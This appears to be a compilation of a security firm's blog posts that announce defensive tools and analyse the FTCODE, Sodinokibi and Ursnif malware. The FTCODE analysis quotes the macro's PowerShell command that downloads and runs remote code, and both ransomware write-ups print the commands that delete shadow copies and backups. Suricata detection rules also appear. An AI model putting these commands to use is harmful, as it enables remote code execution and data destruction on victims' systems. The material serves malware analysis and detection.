Now, thanks to the ongoing collaboration with Google Summer of Code and The Honeynet Project, we are excited to announce release 1.0.0, with a completely new and revamped web interface and some new features in our API to help you better manage your threat intelligence data.

You can read some more details about Intel Owl 1.0.0 in the official release announcement, co-authored by Eshaan Bansal (GSoC Student) and his mentor, our own Matteo Lodi, and published on The Honeynet Project's blog.

Certego has always promoted and supported Open Source Development culture. Some of us are active members of the Honeynet Project and have contributed to some famous open source tools like Cuckoo Sandbox or Thug.

With the goal to help the security community to fight cyber threats, we have released two new projects this year: Intel Owl to aid cyber threat intelligence operations and Pcapoptikon2 to help analysts with writing IDS signatures.

Meanwhile we have been focusing our research on finding new ways to analyze complex malware. Our own Simone Berni has been working on the development of a new open source tool and just recently, also thanks to his work, its first 1.0 version was released: Qiling, an advanced binary emulation framework.

On the 25th April 2020, Simone had the opportunity to show the results of his work at the famous Hack In The Box Security Conference together with the Qiling creator, Lau Kai Jern

For those interested in technical details, you can find them in the next section; you may also find the full video of the conference here: Youtube

HITB Conference: Technical details

Qiling is an advanced binary emulation framework that supports Windows, MacOS, Linux and BSD.

Written in Python and based on Unicorn EngineQiling is designed to provide high level APIs and fine-grain instrumentation, allowing you to place hooks at every level.

Certego chose to help the development of Qiling with Simone Berni's work.

During his presentation, Simone showed how it is possible to use Qiling as a sandbox to analyze arbitrary malware.

In particular, he prepared two different demo scenarios: Al-khaser and Gandcrab.

Al-Khaser Demo

The first scenario is a POC malware application that aims to stress an anti-malware system by checking if the sandbox is fortified and stealthy enough.

During the emulation of Al-khaser, it is possible to understand two things mainly: how stealthy Qiling is and how much it is easy to use. Not everything of Al-khaser has been emulated, Simone implemented only the debugger detection task.

Moreover, Qiling does not pass every single test made by Al-khaser (it passes 85% of checks) but the developers are working on them even right now.

The second point of this demonstration is to understand how we can use Qiling to perform a deep analysis: for example, the emulation of the function that prints the output had an issue: thanks to the API offered by Qiling, Simone was able to replace this function entirely with just 3 lines of code, thus obtaining the expected outputs.

GandCrab Demo

Here, we are talking about a famous ransomware, which is very interesting because it uses different sandbox evasion techniques before executing itself.

The demo of Gandcrab shows how powerful Qiling can be when used as a sandbox. Simone, during his work, implemented the concept of "Profiles", later extended by the Qiling team, and the core feature to analyze malware.

The profile is just a configuration file that describes everything about the emulation: it started as a simple file containing only the Windows version that Qiling has to emulate; later, it was extended to contain information about the Volumes, Drives, Permissions and Network configuration. Now it is possible to have a profile for every OS (Linux, BSD e MacOS are supported), and it is even possible to change the emulation parameters from this config file.

Simone demonstrated how much information it is possible to retrieve thanks to Qiling during the analysis of a ransomware like Grandcrab: every registry accessed is stored, every "printf" is saved (so it is possible to retrieve memory that has been copied from one place to another), every syscall and kernel call is stashed for future analysis. With a little bit more details, he explained how Gandcrab tries to retrieve every piece of information about the victim machine and how the malware stores the stolen information.

At the end of the demo, Simone shows how it is possible to change the Profile to change the behaviour of Gandcrab.

For example, you can change its permissions: when Gandcrab is executed as a user, it will spawn a shell to re-execute itself as administrator.

Another strange behaviour Simone discovered can be observed when you apply a russian keyboard layout in Qiling. Again, this is possible to do so by simply adding a registry key and the desired value to the profile. When executed in an environment that has a russian keyboard, Gandcrab would kill itself.


Qiling is a powerful tool, continuously developed and improved every single day: in the future it will be a common framework that malware analysts have to be familiar with.

Certego will continue to contribute to this project to improve the chances of everyone in fighting malware.

Photo by Maximalfocus on Unsplash

We are proud to announce that Certego has joined the community of Contributors to VirusTotal, the biggest aggregator of antivirus engines and website scanners.

VirusTotal is a free service that everyone can use to check for virus or threats in a file, URL, domain or IP address by leveraging more than 70 antivirus scanners, blacklisting services and analysis tools provided by the global security vendors. Founded in 2004 by a Spanish company, VirusTotal was acquired by Google in 2012 and, in 2018, the ownership switched to Chronicle, a subsidiary of Alphabet.

Starting from this week, most of the intelligence data generated by Quokka, the Threat Intelligence Platform developed by Certego, is available to the VirusTotal community.

The Quokka platform was designed by a team of experienced malware analysts with passion and a strong commitment. The Threat Intelligence Team has mixed different tools, including Honeypots, real “traps” for the cyber criminals, and Sandboxes, virtual environments where it is possible to execute and study malware automatically and at scale. The result is a platform that enables Certego to gather relevant information in real time to track cyber criminal activities.

Additional technical details

We would like to show some examples of what kind of information users can find by leveraging together the power of VirusTotal multi scan engine and the Certego Intelligence information.

You could be a tech guy or not. In both cases, it surely happened that you found a strange link inside a suspicious email you received and you wanted to verify it before clicking it. One way could be to go to the VirusTotal website, select the URL scan, insert the suspicious link in the input bar and ask for an analysis.

After some seconds, you would find the results of the analysis.

For this specific example, the Certego engine detected the URL as containing “Phishing”.

This evaluation helps the end user because, if he had visited the site, he would have found an Outlook account phishing page identical to the real one.

Other than “Phishing”, there are other possible evaluations that can be found after an URL analysis.

The “Malicious” and “Malware” detection are used to notify if a specific URL or domain was observed to serve malware or simply it was involved in cyber crime activities. Example:

The “Suspicious” detection is used to notify when a specific URL or domain is or was probably involved in malicious activities. For these cases, the engine does not have a clear evidence so it just suggests that the site should be avoided as a precaution. Example:

The last case is the “Spam” detection that is used to notify when a specific URL or domain was embedded inside a lot of emails that were sent massively to many inboxes so it is a link that you probably do not want to click. Otherwise, IP addresses are tagged as “Spam” when they have been observed to send a lot of spam, so they are probably related to the presence of a spambot. Example:

Certego is proud to contribute to the security of all the users in the world through the VirusTotal community

About the author:

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter).

Hello everyone, this is Gabriele Pippi, from the Certego Purple Team.

Today we are ready to publish the tool we are using to perform digital forensic and incident response on Citrix Netscaler ADC based on FreeBSD.

Our point of view on CVE-2019-19781 exploitation

After the first mad release of the POC for CVE-2019-19781 by the github account @projectzeroindia and first exploitations, trustedsec and other members of the community provided the first details to carry out digital forensic and incident response operations.

Our Incident Response Team from the first engagements has verified the following conditions:

  1. All the Netscaler ADC analyzed run on FreeBSD kernel version. Unlike in FreeBSD core, there were several utilities installed on the machine, such bash2, used for this script.
  2. The code executed remotely with the CVE ran with nobody user, there were no easy privilege escalations and the persistence on the machine was easily circumscribed; we found cronjobs, php webshells and perl scripts.
  3. Some attackers tried to exfiltrate a file called ns.conf, which contains a large number of sensitive information, especially encrypted passwords and hashes. This is an advanced way to exfiltrate ns.conf.

After the first engagements there were some important implications:

  1. The hashes contained in the ns.conf file were already supported and crackable by hashcat since 2014Reference
  2. Some passwords in the ns.conf are encrypted with AES256-CBC or AES256-ECB algorithms using a well-known key, compiled in a library. These passwords can be decrypted immediately. Among these we also found AD domain admin.
  3. The default root password of Citrix Netscaler AMIs is set to the instance ID: this makes trivial a privilege escalation on all installations of this type. Reference
  4. Recently, some actors are starting to exploit this CVE for ransomware campaigns. Reference

Certego Netscaler Threathunter

I developed this bash2 compatible script in order to automate all checks and facilitate threat hunting operations.
The script is designed to provide output to an analyst who will then carry out the analysis.

Note #1: we take no responsibility for any improper use of this script. We recommend using it with caution on critical systems in production.

Note #2: except for its optional log file, the script does not perform any writing operations, does not need any installation and can also be launched in fileless mode.


  • Netscaler running on FreeBSD Kernel Version.
  • nsroot or root privileges.


This script aims to:

  • validate patch of CVE-2019-19781.
  • enumerate persistences and artifacts related to CVE-2019-19781.
  • guide users to change ns.conf credentials to avoid future campaigns and to patch quickly.
  • spot possible advanced privilege escalation.

For further technical details and to download the script, please refer to the official github project Netscaler_Theathunter.

All Citrix Official Advisories

About the author

Gabriele Pippi, Threat Research Lead Engineer (Twitter)

Happy new Year to everyone!

We would like to open this new decade by releasing a new tool that is called Intel Owl. We hope that it could help the community, in particular those researchers that can not afford commercial solutions, in the generation of threat intelligence data, in a simple, scalable and reliable way.

Main features:

  • modern Django-Python application: easy to understand and write code upon it
  • it can get data from multiple sources with a single API request
  • 40 available analyzers that you can use to generate or retrieve data about a suspicious file or observable (IP, domain, …)
  • official client available on Github: PyIntelOwl
  • easily integrable with other tools thanks to the REST API framework and to the PyIntelOwl library.
  • easily and completely customizable, both the APIs and the analyzers
  • early compatibility with some of the AWS services. More in the future.
  • fast and reliable deploy: clone the project, set up the configuration and then you are ready to run it via docker-compose

For more information, we invite you to check the documentation and the code available on Github.

Feel free to ask everything it comes to your mind about the project to the author:

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter).

Every suggestion or contribution is really appreciated.

Keep hunting malware! We cheer on you :)

Hi there, this is Gabriele Pippi, from the Certego Purple Team.

I want to share this simple password-based FTCODE decryptor.

Note #1: this must be considered a beta version of the script; the author assumes no responsibility for any damage caused by running it.

Note #2: currently the malware sends the password both as plain and cypher text; we believe the behavior may change soon as the malware is updated, and the plain text form may not be available anymore.

Note #3: decrypting files with an incorrect password may make them unrecoverable; so, we recommend taking a backup of the files before running the script.

Why should a password-based decryptor be useful?

Since the first observed campaigns, documented in this article, we have noticed that FTCODE was sending the password in plaintext within the body of an HTTP post request to the C&C.
Once implemented the relevant Suricata signatures, I decided to develop this tool internally, in order to make the decryption operation feasible.
In all of the cases we had the opportunity to put hands on, we were able to recover the encrypted files up to version 1018.1.

Network Traffic

In order to be able to decrypt the files successfully, it is necessary to intercept the contents of the POST request that the malware sends to the C&C at infection time; an example of such request follows:

Content-Type: application/x-www-form-urlencoded
Content-Length: 591
Expect: 100-continue
Connection: Keep-Alive

ext = extension of encrypted files
ek = password in plain text
r1 = Base64 chunk containing the encrypted password

In order to intercept the POST request, we developed the following Suricata signature, and deployed it to our network monitoring system:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CERTEGO TROJAN FTCODE Registration Request (m.bompani)"; flow:to_server; content:"POST"; http_method; content:"ext="; http_client_body; content:"guid="; http_client_body; content:"ek="; http_client_body; classtype:trojan-activity; sid:9000931; rev:1;)

What does the tool do?

Given the extension and the password, the tool is able to recursively decrypt the encrypted files in all the mounted disks or in a given path.

It offers the following features.

  • In-memory fileless utilization: it is possible by wrapping the script in a function, leveraging the built-in PowerShell cmdlet Invoke-Expression
  • Logger: it traces the activities carried out, leveraging two cmdlets described at Start/Stop Transcript
  • Backup: it backs up all the files that the tool will try to decrypt.
  • Some options were added to the script for possible future uses.

Additional Details

For further technical details and demonstrations, please refer to the official github project FTdecryptor

For further FTCODE details, please refer to this article FTCODE article

About the author

Gabriele Pippi, Purple Team (LinkedIn)

Hi everyone! Today we are talking about a new ransomware we spotted being distributed in the wild dubbed as FTCODE.


  1. The Threat
  2. Payload Delivery
  3. Environment Preparation
  4. Ransomware Attack
  5. Version Changes
  6. Conclusion
  7. Suricata Signatures
  8. IoC

1. The Threat

Malicious actors are evolving and trying new ways to infect computers.

At the start of this year, a specific actor started to leverage a legitimate certified mail service, mainly used in Italy, called PEC (Wikipedia). This service is particularly trusted by its users and is commonly used to deliver electronic invoices. Therefore, it’s of special interest because it’s easier to lure potential victims with malicious emails that refer to fake invoices.

Until the last week, the Gootkit banker was delivered as the final payload of the infection chain. (Certego Gootkit analysis)

During this year, the way to deliver this threat changed: they started to leverage a new simple but effective downloader dubbed as JasperLoader to deliver upgrades and additional modules when needed. (Talos research).

However, even if sophisticated, Gootkit is old malware. Also, it does not monetize fast and does require special interaction by the user. So, they have started experimenting with ransomware, maybe to understand if they can get more from this kind of infection.

We are talking about a raw ransomware fully written in Powershell code, called FTCODE.

Even if the name could seem new, the first appearance of this threat was in 2013, as stated by Sophos. Then, almost nothing was seen for about 6 years. Strange, but we have to remember that technology changes. Windows XP was widespread at that time and, by default, Powershell is installed only from Windows 7 on. That can be a problem because actors need to install powershell itself before running ransomware. Also, cyber security was not mature as it is nowadays so, for instance, classic Zeus-like bankers were more effective.

Indeed, last year we saw the arrival of a new downloader and backdoor written in Powershell that was called sLoad and it’s still being actively distributed (Certego sLoad analysis).

KISS (“keep it simple and stupid”) they teach you during software engineering courses. So, why strive with sophisticated malware when with a bunch of code written in Powershell you can perform every kind of wickedness?

So let’s dive in more technical details to understand how FTCODE works.

Mainly we analyzed two samples from two different campaigns:

  • version 930.5, md5: a5af9f4b875be92a79085bb03c46fe5c, day: 01/10/2019
  • version 1001.7, md5: 8d4c81e06b54436160886d78a1fb5c38, day 02/10/2019

2.Payload Delivery

As stated before, the user receives an email that refers to a fake invoice with an attached document called "Fattura-2019-951692.doc". The threat actor leverages a commonly used template to trick the user to disable the “Protected View” mode and to trigger the execution of the malicious macro.

Once enabled, the macro runs and spawns the following Powershell process:

powershell iex ((New-Object Net.WebClient).DownloadString('hxxp://home.southerntransitions[.]net/?need=9f5b9ee&vid=dpec2&81038'));

The result is the download of a piece of Powershell code that is run using the "Invoke-Expression" command (“iex”). Note that the function “DownloadString” saves the result of the request only in memory, in an attempt to avoid antivirus detection.

The new Powershell code is FTCODE itself. On execution, it performs the following GET request:


to download a Visual Basic Script file and save it in "C:\Users\Public\Libraries\WindowsIndexingService.vbs".

This is a variant of JasperLoader, a simple backdoor that is able to download further payloads.

Then, it tries to create a shortcut file called "WindowsIndexingService.lnk" in the user's startup folder that runs the JasperLoader. Finally, to achieve persistence after reboot, it creates a scheduled task called "WindowsApplicationService" pointing to the shortcut file.

3. Environment Preparation

After having installed the JasperLoader backdoor, FTCODE starts to prepare the environment for the ransomware attack.

It verifies if the file "C:\Users\Public\OracleKit\w00log03.tmp" exists. If yes, it would check the presence of some files with the extension ".FTCODE" in all the drives with at least a free space of 50 KB. If there are some, it means that the machine was already attacked by the ransomware, maybe by a previous version: therefore, it would exit.

De facto, this indicator can be used to “vaccinate” the endpoints from this threat. It’s enough to create the mentioned file with any kind of content to let FTCODE believe that the computer was already infected.

$xaebfyxj = $env:PUBLIC + "\OracleKit";
if (-not (Test-Path $xaebfyxj)) { md $xaebfyxj; }
$yxzsjdaz = $xaebfyxj + "\w00log03.tmp";
if ( Test-Path $yxzsjdaz ){ 
 if( ydehiyjh ){
 ri -Path $yxzsjdaz -Force;

Afterwards it generates a random globally unique identifier (GUID) and a password consisting of 50 characters with at least 4 non-alphanumeric characters.

Then we found a hardcoded RSA public key that is used to encrypt the password. In this way the password cannot be deciphered without the proper private key controlled by the malicious actor and can be sent, in a secure way, to the attacker’s server.

Surprisingly, the encrypted password, after being generated, is never used elsewhere in the code and, instead, is just sent the basic base64-encoded password to the attacker’s server.

The consequence is that, if the traffic against the attacker’s server is being monitored, it’s possible to retrieve the key that will be used to decipher the files, without paying any ransom.

We believe that this mistake will be corrected in future versions.

After that error, FTCODE performs a POST request to the following URL:


with the following parameters:

  • ver=930.5, version number
  • vid=dpec2, probably to identify the campaign
  • psver=Powershell Major Version, probably to understand if FTCODE needs an update from JasperLoader
  • guid=the GUID generated previously, to identify the victim
  • ek=the previously generated password encoded in base64

if the server response is "ok", it creates the file "C:\Users\Public\OracleKit\w00log03.tmp" containing the GUID. If the server response is different, it would exit. This is another protection mechanism to evade execution in simulated environments.

Afterwards, it tries to run the following commands that are commonly used by almost every ransomware to avoid the chance that the victim can recover the encrypted files without paying:

bcdedit /set exgdccaxjz bootstatuspolicy ignoreallfailures
bcdedit /set exgdccaxjz recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete backup
vssadmin delete shadows /all /quiet

Similar behaviour is performed by Sodinokibi: Certego blog

4. Ransomware Attack

At this moment, everything is ready to perform the real attack phase.

FTCODE checks for all the drives with at least 50 KB of free space and it looks for all the files with the following extensions:


Then, it encrypts the first 40960 bytes of each of them using the “Rijndael symmetric key encryption”. The key is created based on the previous generated key and the hardcoded string “BXCODE hack your system”. The initialization vector is also based on another hardcoded string ("BXCODE INIT").

Finally it appends the extension ".FTCODE" and creates the file "READ_ME_NOW.htm" in the folders that contain the encrypted files. We are talking about the classic ransom note with instructions on how to recover the encrypted file.

5.Version changes

We believe that this ransomware is in active development. Just one day after the delivery of the version 930.5, we saw another version distributed (1001.7). Malware authors noticed that, in the first version, there was no mechanism to tell the threat actors if the file encryption was successful or not. So, they added other 2 lines of code that trigger other 2 C&C POST requests with the following new parameters:

  • status=”start” or “done”
  • res=number of successfully encrypted files


Actors change their tactics faster and faster. But we understood that they could be lazy and they can make mistakes too. They are humans after all.

Some of them are starting to prefer ransomware like FTCODE over classic infostealers and bankers.

Also, we found that, monitoring the network traffic, it’s possible to retrieve they key used to encrypt the files.

So, it’s important to continuously monitor your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.

Suricata IDS signatures

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CERTEGO TROJAN FTCODE Payload Request"; flow:to_client; content:"FTCODE"; http_server_body; nocase; content:"vssadmin"; http_server_body; nocase; reference:url,; classtype:trojan-activity; sid:9000999; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CERTEGO TROJAN FTCODE Registration Request"; flow:to_server; content:"POST"; http_method; content:"vid="; http_client_body; content:"psver="; http_client_body; content:"guid="; http_client_body; content:"ek="; http_client_body; reference:url,; classtype:trojan-activity; sid:9000998; rev:1;)



About the authors

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter)

Marco Bompani, Security Analyst (Twitter)


Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Hi everyone! Today we are looking at a threat that appeared recently: a new ransomware called Sodinokibi.


  1. The Threat
  2. The Loader
  3. Mutex and Configuration
  4. Machine information recovery
  5. Encryption preparation inspired by GandCrab
  6. Ransomware attack
  7. C2 Registration
  8. Conclusion

1. The Threat

The first noteworthy appearance was at the end of April (Talos Research).

Then, at the start of this month, we gathered different reports of this threat being spread in Italy (eg: JAMESWT_MHT's tweet), both via malspam and known server vulnerabilities.

Also, there was the announcement of the shutdown of the GandCrab Operation (Bleeping Computer), just some days earlier.

Coincidence? We’ll see.

Our guess is that this new payload could be used as a replacement of GandCrab in the RAAS (Ransomware-as-a-service) panorama.

Therefore, in order to protect our customers effectively, we went deep into the analysis of this ransomware.

Mainly we analyzed two different samples:

  • version 1.01: md5: e713658b666ff04c9863ebecb458f174
  • version 1.00: md5: bf9359046c4f5c24de0a9de28bbabd14

2. The Loader

Like every malware who deserves respect, Sodinokibi is protected by a custom packer that is different for each sample.

The method used by the version 1.01 sample to reconstruct the original payload is called “PE overwrite”.

To perform this technique, the malicious software must allocate a new area inside its process memory and fill it with the code that has the duty to overwrite the mapped image of the original file with the real malware payload. In this case, first the process allocates space in the Heap via LocalAlloc, then it writes the “unpacking stub” code, it signs that space as executable with VirtualProtect and finally it redirects the execution flow to the new memory space

In order to slow the analysis, the loader contains a lot of junk code that will be never executed.

Also, in the following image, we can see that it tries to hide some important strings from the static analysis like “ kernel32.dll”. It leverages “stack strings” plus the randomization of the order of the characters.

At this point, the unpacking stub resolves dynamically the functions that he needs like VirtualAlloc. Then it performs the overwrite of the original image base with the new decrypted payload.

Finally, it transfers the execution to the OEP (Original Entry Point) of the unpacked Sodinokibi payload.

3. Mutex and Configuration

Once unpacked, the sample tries to create a mutex object. It calls CreateMutexW, then, if there was an error, with RtlGetLastWin32Error it would extract the generated error. Indeed, if the mutex already existed, the error would have been “0xB7” ("ERROR_ALREADY_EXISTS" ref docs). In that case a function is called that terminates the process.

We found that the mutex name is different for each sample but following this pattern: “Global\{UUID}”. Therefore it’s a method to detect the malware or to vaccinate the endpoint (Zeltser blog) that is reliable only for a specific sample.

Going forward, we found the configuration in an encrypted form in the section “ .zeacl” for v.1.01 or “.grrr” for v.1.00. Once extracted, we noticed that it’s a JSON file.

These are the keys found in the configuration.

  • pk” -> base64 encoded key used to encrypt files
  • pid” -> personal id of the actor
  • sub” -> another id, maybe related to the specific campaign
  • dbg” -> debug mode
  • fast” -> fast mode
  • wipe” -> enable wipe of specific directories
  • wht” -> whitelist dictionary
    • fld” -> keyword in whitelisted directories
    • fls” -> whitelisted filenames
    • ext” -> whitelisted file extensions
  • wfld” -> directories to wipe
  • prc” -> processes to kill before the encryption
  • dmn” -> domains to contact after encryption
  • net” -> check network resources
  • nbody” -> base64 encoded ransom note body
  • nname” -> ransom note file name
  • exp” -> unknown, expert mode?
  • img” -> base64 encoded message on desktop background

If you are interested in manually checking the configuration files we have extracted in the samples we have analyzed, follow this link and download the archive (password:sodinokibi):

4. Machine information recovery

Afterwards, Sodinokibi starts to gather information about the infected machine and builds another JSON structure that stores in an encrypted form in the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key.


  • ver”: version (100 or 101)
  • pid”: previous config “pid”
  • sub”: previous config “sub”
  • pk”: previous config “pk”
  • uid”: user ID. It’s a 8 byte hexadecimal value generated with XOR encryption. First 4 bytes are created from the processor name, while the others are created from the volume serial number extracted with a “GetVolumeInformationW” API call.

  • sk”: secondary key, base64 encoded key generated at runtime
  • unm”: username
  • net” : hostname
  • grp”: windows domain

  • lng”: language

  • bro”: brother? Sodinokibi retrieves the keyboard language with GetKeyboardLayoutList. Then it implements an algorithm that gives “True” as value for this key only if the nation code ends with a byte between 0x18 and 0x2c. It’s not odd that inside this range there are the majority of the East-Europe language codes, like Russian, Cyrillic and Romanian. It’s a clear indication of the origin of the malware authors.

  • os”: full OS name

  • bit”: Sodinokibi extracts this value from “GetNativeSystemInfo” then it compares with 9 that corresponds to the x64 architecture. Further processing will generate “40” if the architecture is 64bit, “56” otherwise.

  • dsk”: base64 encoded value generated based on the drives found on the machine.
  • ext”: new in 1.01. The random extension used for encrypted files.

5. Encryption preparation inspired by GandCrab

At this time, before performing the encryption, Sodinokibi replicates a behavior that is very similar to what GandCrab performs, suggesting that Sodinokibi authors learned from GandCrab ones or that they are strictly related.

Sodinokibi extracts the running processes with the combination of CreateToolhelp32Snapshot, Process32First and Process32First and checks if they match the names in the configuration. In that case, those processes are killed. The reason is that these programs could hold write access on files and therefore they could not allow the ransomware to encrypt them.

The list of the version 1.00 contains only the “mysql.exe” process, while the list of the version 1.01 is a lot longer and almost matches the ones used by GandCrab (source: Symantec).

Afterwards, like his predecessor, Sodinokibi deletes the shadow copies with the leverage of the “vssadmin” native utility. In addition, it uses “bcdedit” to disable windows error recovery on reboot.

cmd /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {{default}} recoveryenabled No & bcdedit /set {{default}} bootstatuspolicy ignoreallfailures

Another check done by the ransomware is for available network resources with WNetOpenEnumW e WNetEnumResourceW with the aim to find other files to encrypt.

Last operation before the encryption is to find all the directories with a name that matches the configuration key “wfld” and to wipe them. In this case, the list contains only “backup”. So, for example, Sodinokibi deletes Windows Defenders updates backups.

6. Ransomware attack

Finally (or not?) Sodinokibi starts to iterate over the available directories with FindFirstFile and FindNextFile.

It skips files and directories that match conditions on the whitelist configuration. The others are encrypted by the ransomware that adds the random generated key as extension to the name.

In each directory the malware also write the ransom note “{ext}.readme.txt” extracted from the configuration and a lock file.

Then it creates a file with a random name “{random}.bmp” in the %TEMP% which contains the image that will be put as a background with the help of DrawTextW and FillRect functions.

7. C2 Registration

Once the encryption is finished, Sodinokibi starts to iterate through a giant list of domains hardcoded in the configuration (about 1k). These domains are the same across the samples we analyzed but they are ordered differently in order to mislead the analysis.

At a first glance, these domains seem legit and most of them are correctly registered.

This is not a classic DGA but the result is almost the same because the purpose is to hide the real C&C Server used by cyber criminals.

For each domain listed, Sodinokibi generates a random URI. Then it uses the winhttp.dll library functions to perform HTTPS POST requests with the created URLs.

The data sent with the POST request is an encrypted form of the JSON configuration saved on the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key and described on the “Machine information recovery” section. In this way, malicious actors can collect important information of the infected machine.

The following are examples of some of these URLs:


Looking at an analysis of this sample in a sandbox (AnyRun), we noticed that HTTPS requests where not correctly listed. The malware can avoid traffic interception by proxies like Fiddler or Mitmproxy that are used for manual or automatic analysis.

How? The second parameter of the WinHttpOpen function is 0 which corresponds to “WINHTTP_ACCESS_TYPE_DEFAULT_PROXY”: this means that the configured proxy is skipped and the HTTP connection won’t be logged. This trick could mislead the analysis if not properly handled.

I suggest to read the following blog post where it’s further explained how these URLs are generated and why also this routine is inspired by GandCrab code: Tesorion analysis

8. Conclusion

Sodinokibi could be the heir of GandCrab. It’s still at version 1.01 so maybe it’s not mature yet but is actively developed and updated

Malicious actors have started to use Sodinokibi to generate profit, even in Italy.

It’s important to continuously monitor your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.



About the author

Matteo Lodi, Cyber Threat Intelligence Team Leader



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to talk about one of the biggest threats that is spreading in these days, in particular in Italy: Dreambot, the most recent version of a malware also known as Ursnif, or Gozi.


  1. The Threat
  2. The Check-In phase
  3. Encryption routine
  4. Injected Internet Explorer? Or not?
  5. Conclusion

1. The Threat

Ursnif belongs to the category of Infostealers. It was already analyzed by a lot of skilled researchers. I list just some of the best analysis you could find:

In this article, we'll focus on the initial communication with the Command & Control infrastructure.

2. The Check-In phase

At the time of the compilation of the malware, spreaders can choose a list of domains that will be hardcoded in the sample in an encrypted form.

For example, the following image shows 3 different domains uploaded into the memory of one of the variant that we analyzed.

The malicious agent tries to perform its initial communication with the first of the list, then, if it fails, it would try with the next and so on.

We underline that this "beacon" is always performed via plain HTTP while the following steps of communication are done via SSL encryption and custom certificates.

This is important because, with the right eye, even without SSL interception, we can pretty easily spot if something is going wrong.

The following image shows 3 different attempts to communicate with the C2 server in a sandbox environment. 

If the pattern is not known, an untrained analyst could be misleaded by this behaviour while performing threat hunting on network logs or artifacts.

The file extension ".avi" refers to video files. Also, the path "/images/" is deceptive. In addition, it's performed as a "GET" request. All of this evidence could be seen as a normal download of a video file from a site hosting media.
In fact it's the check-in of the malware that is sending basic information about the compromised machine, hiding them in plain sight in the URI path.



Decoded data:

  • fjidtflrb -> junk param, always present at the start of the URI to generate randomness (and always different)
  • soft -> major version
  • version -> minor version
  • user -> unique user id
  • server -> unique c2 server id
  • id -> bot group id
  • crc -> payload to retrieve (1-DLL 32bit, 2-DLL64 bit, 3-ps1)
  • uptime -> time elapsed from initial infection (seconds)

The following image represents the phase when the malware creates the first parameter:

After having seen a lot of this kind of patterns on Ursnif samples in last years, I decided to create a simple and raw tool that is able to decrypt the URL created by the malware on the fly.

In this way it's possible to spy the configuration sent to the Command & Control server and, at the same time, to check if the URL is related to this threat. 

All of this without any need of manual reverse engineering.

You can check the simple tool that I created on the following link on: Github

This is an example of how to run the script:

python3 -u "" -k "10291029JSJUYNHG"

and the relative output:

[2019-04-15 11:24:25 - INFO] c2 domain: ''
[2019-04-15 11:24:25 - INFO] path to analyze: /images/NM_2Ff8mqmMQjmr/c842xf8TIJp_2FlmC5/Ulz244kFh/KMjQpHVvOnBhk6eOvBBW/R_2FCf2Bk9wZXqeGcBS/IAHu5OfIJa7Y941YuvL1XM/i2RXCwmaVXV_2/ByGxravm/Dt1GoxZJ9b2BbnKWLrfphW9/8pKXBhb9Yi/n0AEln6Sc_2BilzFW/k_2B_2Fy1/Q3.avi
[2019-04-15 11:24:25 - INFO] Congrats! decoded data: fjidtflrb=bdaxhhfg&soft=3&version=217173&user=a618b5f78c4ff30be60d08c7ba561278&server=12&id=3274&crc=3&uptime=11

3. Encryption routine

The custom algorithm starts with a symmetric encryption that leverages the Serpent cipher in CBC mode and a null IV (initialization vector). 

Afterwards the result is encoded with a classic base64. Considering that base64 encoding is pretty easy to spot, malware authors decided to change things a little more. They removed padding characters("=") and substituted the other special characters ("+", "/") with the relative ASCII code, after having prepended them by an underscore ("_2f", "_2b"). The last tweak is to add slashes at specified offsets to let the URI to appear like a real one.

Obviously, the Serpent encryption needs a key. We can find it hardcoded on the malware sample. Some code level analysis could be required to get that info.

However, observations led to the fact that the key is usually shared among a lot of samples and rarely changed.

If you don't have one, just run the script: it would try a predefined list of known keys for you.

It's really appreciated if you want to share new keys that you find with us. Feel free to contact us on Twitter or LinkedIn

4. Injected Internet Explorer? Or not?

While investigating the check-in phase, we noticed an unusual fact that we think it's worth to mention.

As you can see from the analysis of AnyRun, the malicious beacon seems to be sent by an Internet Explorer instance after the malware has run.

Considering that Ursnif is known to perform injection on browsers to steal information, an unaware analyst could think that the malware already decided to perform some form of memory injection into a new spawned instance of Internet Explorer to masquerade the communication as a legit one.

However this is unecessary. It's enough to use the COM (Wikipedia) library that is provided by Microsoft.
Looking at the code, we can detect this behaviour with the finding of the function CoCreateInstance that were made just before the network communication.

This one is a stealthy way that could mislead both analysts and security products if it has not been taken in consideration.

If you like to have a more detailed explanation on COM and, in general, on how to detect malware C2 communications while reverse engineering, I suggest the following reading: FireEye Blog


Ursnif has been trying for years to make analysis difficult for people and detection for security products.

We went deep into the communication performed during the check-in phase and created a new tool to help to analyze and detect the malware.

Certego is actively monitoring every day threats to improve its detection and response methods, continuously increasing the effectiveness of the incident response workflow.


About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader 

If you know something more about protocols used by Ursnif for C2 communications or if you'd like to improve the tool(Github), feel free to contact me at any time.



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to start a new series of blog posts called “Malware tales”: the intent is to go deep on code-level analysis of most widespread malware to allow everyone to get a better picture of everyday cyber threats. Also, we’d like to demystify malware and show that we are just talking about a bunch of code


  1. The Threat
  2. Payload delivery
  3. Gootkit executable
  4. Stage 1: Packed Gootkit
  5. Stage 2: Gaining a foothold
  6. Stage 3: Check-in phase
  7. Last stage
  8. Additional findings
  9. Conclusions

The Threat:

Gootkit belongs to the category of Infostealers and Bankers therefore it aims to steal information available on infected machines and to hijack bank accounts to perform unwanted transactions.

It has been around at least since 2014 and it seems being actively distributed in many countries, including Italy.

Previous reports about this threat can be found following this link:Malpedia

Today we are going to dive into the analysis of a particular variant that came up the last week.

Payload Delivery:

The infection vector is an email written in Italian. In this case adversaries used one of the most common social engineering techniques to trigger the user to open the attachment.

